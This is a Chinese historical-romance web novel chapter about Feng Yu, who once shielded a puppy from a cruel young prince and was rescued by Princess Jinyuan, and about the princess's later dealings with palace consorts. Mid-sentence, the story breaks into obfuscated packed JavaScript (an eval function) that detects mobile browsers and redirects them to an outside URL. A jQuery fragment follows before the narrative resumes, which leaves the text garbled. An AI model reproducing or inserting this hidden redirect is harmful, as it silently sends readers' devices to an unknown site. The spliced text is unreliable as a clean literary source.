看着一脸失魂落魄的弟弟，冯晟叹了口气。
他伸手拉住冯昱，将人按在园中的青石凳上，“阿昱，事已至此，便放下吧。”
冯昱抬头，露出委屈的神情，"可公主她明明..."话到嘴边却成了气音，"以前她经常夸我的……"
"那便更该明白，"冯晟截住话头，指尖在石桌上敲出清脆的声响，"长公主待你，与待她宫中豢养的那只狮子犬并无二致。"这话说得刻薄，却见冯昱脸色又白了几分。
见弟弟露出如此神情，冯晟终是缓了语气：“阿昱，你当知道，天家的‘好’，从来都是镜花水月。”
他望着对方泛红的眼角，记得春猎时，弟弟明明不善骑射，却偏要争那射柳头彩，摔得满身淤青也不吭声。
冯晟想起弟弟曾一再央求自己陪他练习骑射，当时少年笑得明亮，“阿兄，求你了，我这次一定要拿头名！上次孙文静夺得头筹，公主夸了他好几次。”
晋元长公主不愧是天家儿女，如此轻描淡写的戏耍他人。
回想起自己在大理寺见过的案宗，冯晟忽然觉得讽刺，百姓在权贵眼里如蝼蚁，而他们这些勋贵子弟，在皇家眼中又何尝不是？只是这话，他终究不忍说出口。
——————
“给我抓住那个畜生！”孩童尖厉的叫声打破了御花园的平静。
冯昱好奇的从假山后面循声张望。今日他随父亲进宫赴宴，席间实在觉得无聊，便找到这处清净的地方躲起来休息会。
只见三皇子正一脸戾色的站在不远处的海棠园里，一群太监正手忙脚乱地在树丛间翻找。
冯昱屏住呼吸不敢出声，这三皇子素来乖戾，若被迁怒，怕是连父亲都难为他讨个公道。
忽然，小腿传来毛茸茸的触感。他低头一看，竟然是只通体雪白的狮子狗，正用湿漉漉的眼睛望着他，尾巴轻轻扫过他的锦袍。雪白的毛发间，分明可见几道刺目的血痕。
冯昱心头一紧，这莫非就是......
他挣扎了几许，终于不忍心的弯腰向小狗伸出双手。小狗似是通人性，温顺地任他抱起。
感受到怀中微微颤抖的小身子，冯昱终是心软，轻声道："莫出声。"随即往假山深处退了退。这处隐蔽所在恰有天然石屏遮挡，从外头几乎看不出端倪。
冯昱小心地抚摸着小狗的头顶，听着外头杂乱的脚步声渐近又远，只希望能躲过这场搜捕，护住这无辜的小生命。
就这样等了一盏茶的时间，见太监们还是像无头苍蝇一样一无所获，三皇子怒上心头，“一群废物，这么多人连一个畜生都找不到，废物！今天我要是见不到那个畜生，你们统统没有好果子吃！”
闻言，太监们纷纷面色惶惶，冯昱面露不忍，有些犹豫。
这时，三皇子的贴身近侍上前劝道：“殿下息怒，不然您先回殿内休息，奴才们继续找那个小畜生。”
“你这奴才还敢安排起我来？”这句话不知是如何愈发触怒到三皇子，他抬脚狠狠地踹向近侍，近侍不敢躲闪，被踹得撞向一个花盆，花盆也随之碎裂，发出“啪”的一声。
而花盆的碎裂声，惊得冯昱怀中的小狗发出一声呜咽。
“在那边！”离得近的太监听到了小狗的叫声，大喊起来，太监们纷纷向冯昱的方向跑来。
冯昱无奈的看了一眼怀里瑟瑟发抖的小狗，知道已经藏身无望，便抱着小狗从假山后走出来。
“冯二公子！”有眼尖的太监认出了冯昱。
三皇子也看到了冯昱，他眯起眼睛，“冯昱，你怎么在这？”又看到冯昱怀里的小狗，刚想发火又记起母妃的叮嘱。三皇子强压住怒气，“把这畜生给我就赶紧走！”
冯昱上前一步向三皇子行礼，“见过三皇子，我刚刚有点累，便躲在这边休憩。”随后鼓起勇气说道：“不知这小狗是如何冒犯到三皇子？”
“与你无关！赶紧把它给我！”三皇子见冯昱还抱着那小畜生不放，又忍不住怒火上涌。
此时近侍慌忙从地上爬起来，踉跄着跑向冯昱，“冯二公子，将这畜生给我吧。”又在三皇子看不到的角度，用只有冯昱能听到的声音说道：“求您了，冯二公子，不然奴才们今日都要遭殃...”
近侍知道昌龄侯一家都是出了名的良善之人，从不轻易打罚下人，所以才敢祈求冯昱。
冯昱向四周张望了一眼，见太监们都面露哀求的看向他，终于将小狗向近侍的方向递过去。
小狗似乎察觉到了危险，低声哀叫起来，爪子也紧紧的扒拉着冯昱胸口。
近侍不顾小狗的哀叫，用力地将小狗抱了过去，小狗被带离冯昱怀里的时候，从他胸口勾出了几道细痕。
冯昱看着小狗被抱到走，见三皇子双手接过小狗，他刚松了一口气的同时，却见三皇子猛的将小狗举起，狠狠的向下砸去。
“殿下！”冯昱大惊失色，连忙跑过去。
小狗被砸到地上，似乎受伤不轻，一时动弹不得，大声嚎叫起来。此时三皇子却抬起右脚，又狠狠踹向小狗。
已经赶到的冯昱向前一扑，伸手抱住小狗，用肩膀硬生生接下了三皇子踹来的一脚。
冯昱牢牢抱着小狗，被踹到一边，感觉肩膀都麻了。他狠狠抽了一口气，想不到三皇子不过九岁，竟有如此大的力道。
近侍想上前扶起他，又看向三皇子的脸色，放下了微微伸出去的手。
三皇子那双本该清澈的孩童眼眸里露出狠戾之色，“冯昱，你好大的胆子！”
冯昱护住奄奄一息的小狗，强忍疼痛直起身：“殿下，这小狗到底做错何事，要如此对它？”
“你算什么东西，也配管我？”三皇子稚嫩的脸上浮现狰狞，“这畜生敢对我吠叫，就该死！”
冯昱想不到就因为这等小事，三皇子就要喊打喊杀，再次开口劝说，“上天有好生之德......”
“放肆！”三皇子厉声打断，“来人，给我——”
“三弟好大的威风啊。”一道女声突然从回廊处传来。众人回头，只见晋元长公主执扇而立，眼眸微挑：“父皇正在麟德殿设宴，你却在这里喊打喊杀？”
三皇子脸色骤变。长公主缓步走近，目光扫过冯昱肩头的脚印，又落在血迹斑斑的小狗身上。
“这雪狮犬是吐蕃使节昨日才进献的珍品，”她轻摇团扇，“三弟若是玩死了，不知该如何向父皇交代？”
三皇子攥紧拳头，终究冷哼一声甩袖而去。太监们如蒙大赦，慌忙跟上。
长公主这才看向冯昱：“伤得重吗？”
冯昱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221976|181556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
愣怔抬头，正对上一双含笑的眸子。春风拂过，吹落一树海棠，有几瓣正落在她鬓边。那一刻，他忽然忘了肩上的疼痛。
梦境戛然而止。
冯昱睁开酸涩的双眼，帐顶绣着的云纹在晨光中若隐若现。脑海里晋元长公主执扇而立的身影迟迟未曾散去。良久，他的眼神里闪过一丝坚定，似是下了某种决心。
另一边，李乐安也从梦境中醒来。见鬼了，竟然梦到了初次见到冯昱的场景。
“公主？”外间传来值夜宫女小声的询问。
“没事，帮我端一盏茶过来吧。”李乐安缓和了下呼吸，轻声回道，声音透露出一丝沙哑。
“是。”
听着芳苑渐远的脚步声，李乐安的脑海里却是冯昱当时那双湿漉漉的眼睛，和他怀里的小狗一样。
李乐安狠狠摇了摇脑袋，驱散脑中的场景，喃喃念道：“色即是空，空即是色……”
吃早膳时，李乐安抬手按住隐隐作痛的太阳穴，看着面前的美食毫无食欲。
一旁的芳苑担忧问道，“公主，可是饭菜不合口味？”
“不是，昨晚上做了个梦，没睡好，影响胃口。”李乐安摆了摆手。
“撤了吧，我们去向母后请安。”
李乐安带着一行人来到兴庆宫门外时，便听见四公主银铃般的笑声。殿内，静妃正执茶盏与皇后说着什么，见李乐安进来，袅袅起身。
“儿臣给母后请安，愿母后福寿安康。”
皇后含笑抬手："快起来。"
李乐安又对一旁的静妃执了一个晚辈礼，“见过静妃娘娘。”
静妃微微侧身，只受了李乐安的半礼：“长公主气色不大好？”
“劳静妃娘娘挂念。”李乐安转向一旁粉雕玉琢的小女孩，“四妹妹又长高了。”
四公主笑嘻嘻地凑过来，正要说话，忽听外间太监尖声通传：“丽嫔娘娘到，三皇子殿下到！”
静妃敛了敛神情，四公主脸上的笑容瞬间消失大半，乖巧的回到静妃身旁。
皇后依旧从容品茶，李乐安也安然坐在下首，神情淡然。
丽嫔一踏入殿中，目光就像刀子般剜向李乐安，“哟，长公主这眼下青影，莫不是为拒婚之事辗转难眠？”
殿内霎时一静。皇后执茶盏的手微微一顿，眼底闪过一丝不悦，丽嫔愈发没规矩了。静妃垂眸掩去神色，指尖在四公主手背上轻轻一按。
众人都知道了前日发生在平章长公主府中之事，也都知道了晋元长公主拒婚一事。
皇后虽有好奇，但是并不想深究，毕竟无关己身。
静妃倒是觉得可惜，若是乐宁能遇到像冯昱那般好的驸马人选，她都要高兴的睡不着，晋元竟然舍得放弃。不过乐宁已经十岁，倒是可以开始相看驸马人选了。
丽嫔则是痛快中带着嫉恨了。痛快于李乐安错失了一个绝佳的驸马人选，嫉恨于皇上对于李乐安的纵容。
李乐安不紧不慢地抚平衣袖上并不存在的褶皱：“丽嫔娘娘倒是消息灵通。”她抬眼轻笑，“不过本宫昨夜是在批阅皇庄送来的账册，倒叫娘娘白关心了。”
这话似一根刺，直戳丽嫔痛处。她攥紧了帕子，皇上竟将最富庶的皇庄赐给一个公主！而她的诚儿至今连个像样的封地都没有。